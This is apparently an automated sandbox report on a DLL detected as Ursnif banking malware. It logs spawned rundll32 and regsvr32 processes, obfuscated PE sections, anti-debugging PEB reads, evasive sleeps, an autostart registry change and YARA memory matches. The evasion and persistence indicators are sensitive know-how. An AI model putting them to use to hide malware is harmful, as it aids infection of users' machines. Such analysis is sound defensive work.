Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\direction.dll,Moler Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\direction.dll,Hyperpigmented Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\direction.dll,Adipous Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\direction.dll,Undazzled Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\direction.dll,Peckishness Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\direction.dll,Musophagidae Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\direction.dll,Impracticability Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\direction.dll',#1 Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:4876 CREDAT:17410 /prefetch:2 Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:4876 CREDAT:82950 /prefetch:2 Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:4876 CREDAT:17432 /prefetch:2 Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:4876 CREDAT:17436 /prefetch:2 Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:4876 CREDAT:17446 /prefetch:2 Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:4876 CREDAT:82994 /prefetch:2 Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:4876 CREDAT:17448 /prefetch:2 Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe Process created: C:\Program Files\internet explorer\iexplore.exe 'C:\Program Files\Internet Explorer\iexplore.exe' SCODEF:4876 CREDAT:345098 /prefetch:2 Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe Process created: unknown unknown Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe Automated click: OK
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe File opened: C:\Program Files (x86)\Java\jre1.8.0_211\bin\msvcr100.dll Jump to behavior

Data Obfuscation:

barindex
Contains functionality to dynamically determine API calls
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_10001BAC LoadLibraryA,GetProcAddress, 0_2_10001BAC
PE file contains an invalid checksum
Source: direction.dll Static PE information: real checksum: 0x44eb9 should be: 0x40da6
PE file contains sections with non-standard names
Source: direction.dll Static PE information: section name: .unsooth
Source: direction.dll Static PE information: section name: .prekind
Source: direction.dll Static PE information: section name: .aqueoig
Source: direction.dll Static PE information: section name: .spiritr
Source: direction.dll Static PE information: section name: .nectaro
Source: direction.dll Static PE information: section name: .philolo
Source: direction.dll Static PE information: section name: .pres
Source: direction.dll Static PE information: section name: .outglad
Source: direction.dll Static PE information: section name: .pogonir
Source: direction.dll Static PE information: section name: .taurico
Source: direction.dll Static PE information: section name: .untar
Source: direction.dll Static PE information: section name: .muskroo
Source: direction.dll Static PE information: section name: .cricoto
Source: direction.dll Static PE information: section name: .breaghe
Source: direction.dll Static PE information: section name: .shunnab
Source: direction.dll Static PE information: section name: .hemaut
Source: direction.dll Static PE information: section name: .uncongr
Source: direction.dll Static PE information: section name: .tonner
Source: direction.dll Static PE information: section name: .jink
Source: direction.dll Static PE information: section name: .stirles
Source: direction.dll Static PE information: section name: .imper
Source: direction.dll Static PE information: section name: .unsubve
Registers a DLL
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\direction.dll
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_10000083 push eax; iretd 0_2_100000B2
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_10002120 push ecx; ret 0_2_10002129
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_10002173 push ecx; ret 0_2_10002183
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_005EE458 push ds; retf 0_2_005EE47A
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_005EE0C7 push cs; ret 0_2_005EE0C8
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_005EAF6F push ecx; ret 0_2_005EAF7F
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_005EE163 push edx; iretd 0_2_005EE164
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_005EABC0 push ecx; ret 0_2_005EABC9
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_003D0304 push dword ptr [ebp-00000280h]; ret 0_2_003D0373
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_003D0478 push dword ptr [ebp-00000280h]; ret 0_2_003D04AE
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_003D04AF push dword ptr [ebp-00000280h]; ret 0_2_003D065D
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_003D04AF push dword ptr [ebp-00000288h]; ret 0_2_003D06B1
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_003D04AF push dword ptr [esp+10h]; ret 0_2_003D07C7
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_003D02D2 push dword ptr [ebp-00000280h]; ret 0_2_003D0477
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_003D07C8 push dword ptr [esp+0Ch]; ret 0_2_003D07DC
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_003D07C8 push dword ptr [esp+10h]; ret 0_2_003D0822
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 2_2_047FAF6F push ecx; ret 2_2_047FAF7F
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 2_2_047FABC0 push ecx; ret 2_2_047FABC9
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 2_2_02F202D2 push dword ptr [ebp-00000280h]; ret 2_2_02F20477
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 2_2_02F204AF push dword ptr [ebp-00000280h]; ret 2_2_02F2065D
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 2_2_02F204AF push dword ptr [ebp-00000288h]; ret 2_2_02F206B1
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 2_2_02F204AF push dword ptr [esp+10h]; ret 2_2_02F207C7
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 2_2_02F20478 push dword ptr [ebp-00000280h]; ret 2_2_02F204AE
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 2_2_02F207C8 push dword ptr [esp+0Ch]; ret 2_2_02F207DC
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 2_2_02F207C8 push dword ptr [esp+10h]; ret 2_2_02F20822
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 2_2_02F20304 push dword ptr [ebp-00000280h]; ret 2_2_02F20373
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_0447AF6F push ecx; ret 4_2_0447AF7F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_0447ABC0 push ecx; ret 4_2_0447ABC9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_04C0ABC0 push ecx; ret 6_2_04C0ABC9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_04C0AF6F push ecx; ret 6_2_04C0AF7F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_027C0478 push dword ptr [ebp-00000280h]; ret 6_2_027C04AE

Boot Survival:

barindex
Creates an undocumented autostart registry key
Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe Key value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser ITBar7Layout Jump to behavior

Hooking and other Techniques for Hiding and Protection:

barindex
Yara detected Ursnif
Source: Yara match File source: 0000001D.00000003.378625315.0000000007038000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000003.377493351.0000000004DD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000003.377965158.0000000004DD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.311524136.0000000005018000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.299067540.00000000052E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000003.379329065.0000000007038000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000003.353519210.0000000004AF8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.452882755.0000000001668000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000003.349169873.00000000069B8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000003.353381101.0000000004AF8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.452739993.0000000001668000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.311353638.0000000005018000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000003.353640605.0000000004AF8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000003.353482543.0000000004AF8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000003.349379368.00000000069B8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.299293489.00000000052E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000003.377754049.0000000007038000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.452599143.0000000001668000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000002.425611899.0000000004DD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.452682864.0000000001668000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000003.349425307.00000000069B8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000003.349209886.00000000069B8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.488281426.0000000005018000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.452790659.0000000001668000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000003.349342259.00000000069B8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000003.349245069.00000000069B8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000003.353420356.0000000004AF8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000003.379402147.0000000007038000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000003.378397913.0000000007038000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.311162481.0000000005018000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000003.353660162.0000000004AF8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000003.376670409.0000000004DD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.310218293.0000000005018000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000003.353285218.0000000004AF8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.299402333.00000000052E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.310401449.0000000005018000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.310585045.0000000005018000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000003.377140325.0000000004DD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.310811687.0000000005018000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.452941227.0000000001668000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.298617487.00000000052E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000003.377966823.0000000007038000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000003.349275169.00000000069B8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000003.377030195.0000000004DD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.311655737.0000000005018000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000003.349118555.00000000069B8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000002.401300061.00000000069B8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.299506180.00000000052E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000003.379198024.0000000007038000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.487540264.00000000052E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000002.457353583.0000000007038000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.485787977.0000000001668000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.298330099.00000000052E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000003.376078643.0000000004DD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.452547670.0000000001668000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000002.442237673.0000000004AF8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000003.377890073.0000000004DD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000003.379544002.0000000007038000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.298892521.00000000052E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000003.353559736.0000000004AF8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.298800751.00000000052E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.452911252.0000000001668000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000003.376494826.0000000004DD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 6912, type: MEMORY
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 6096, type: MEMORY
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Windows\SysWOW64\regsvr32.exe Registry key monitored for changes: HKEY_CURRENT_USER_Classes Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

barindex
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 4448 Thread sleep time: -1667865539s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\loaddll32.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\regsvr32.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe Last function: Thread delayed

Anti Debugging:

barindex
Contains functionality to dynamically determine API calls
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_10001BAC LoadLibraryA,GetProcAddress, 0_2_10001BAC
Contains functionality to read the PEB
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_003D0823 mov eax, dword ptr fs:[00000030h] 0_2_003D0823
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_003D08B4 mov eax, dword ptr fs:[00000030h] 0_2_003D08B4
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_003D04AF mov eax, dword ptr fs:[00000030h] 0_2_003D04AF
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_003D06DF mov eax, dword ptr fs:[00000030h] 0_2_003D06DF
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_003D07C8 mov eax, dword ptr fs:[00000030h] 0_2_003D07C8
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 2_2_02F206DF mov eax, dword ptr fs:[00000030h] 2_2_02F206DF
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 2_2_02F208B4 mov eax, dword ptr fs:[00000030h] 2_2_02F208B4
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 2_2_02F204AF mov eax, dword ptr fs:[00000030h] 2_2_02F204AF
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 2_2_02F20823 mov eax, dword ptr fs:[00000030h] 2_2_02F20823
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 2_2_02F207C8 mov eax, dword ptr fs:[00000030h] 2_2_02F207C8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_027C0823 mov eax, dword ptr fs:[00000030h] 6_2_027C0823
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_027C06DF mov eax, dword ptr fs:[00000030h] 6_2_027C06DF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_027C08B4 mov eax, dword ptr fs:[00000030h] 6_2_027C08B4
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_027C04AF mov eax, dword ptr fs:[00000030h] 6_2_027C04AF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 6_2_027C07C8 mov eax, dword ptr fs:[00000030h] 6_2_027C07C8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 21_2_00260823 mov eax, dword ptr fs:[00000030h] 21_2_00260823
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 21_2_002604AF mov eax, dword ptr fs:[00000030h] 21_2_002604AF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 21_2_002608B4 mov eax, dword ptr fs:[00000030h] 21_2_002608B4
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 21_2_002607C8 mov eax, dword ptr fs:[00000030h] 21_2_002607C8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 21_2_002606DF mov eax, dword ptr fs:[00000030h] 21_2_002606DF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 29_2_030F07C8 mov eax, dword ptr fs:[00000030h] 29_2_030F07C8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 29_2_030F06DF mov eax, dword ptr fs:[00000030h] 29_2_030F06DF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 29_2_030F04AF mov eax, dword ptr fs:[00000030h] 29_2_030F04AF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 29_2_030F0823 mov eax, dword ptr fs:[00000030h] 29_2_030F0823
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 29_2_030F08B4 mov eax, dword ptr fs:[00000030h] 29_2_030F08B4
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 33_2_029D08B4 mov eax, dword ptr fs:[00000030h] 33_2_029D08B4
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 33_2_029D04AF mov eax, dword ptr fs:[00000030h] 33_2_029D04AF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 33_2_029D06DF mov eax, dword ptr fs:[00000030h] 33_2_029D06DF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 33_2_029D0823 mov eax, dword ptr fs:[00000030h] 33_2_029D0823
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 33_2_029D07C8 mov eax, dword ptr fs:[00000030h] 33_2_029D07C8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 36_2_02F008B4 mov eax, dword ptr fs:[00000030h] 36_2_02F008B4
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 36_2_02F00823 mov eax, dword ptr fs:[00000030h] 36_2_02F00823
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 36_2_02F004AF mov eax, dword ptr fs:[00000030h] 36_2_02F004AF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 36_2_02F006DF mov eax, dword ptr fs:[00000030h] 36_2_02F006DF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 36_2_02F007C8 mov eax, dword ptr fs:[00000030h] 36_2_02F007C8

HIPS / PFW / Operating System Protection Evasion:

barindex
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\direction.dll',#1 Jump to behavior
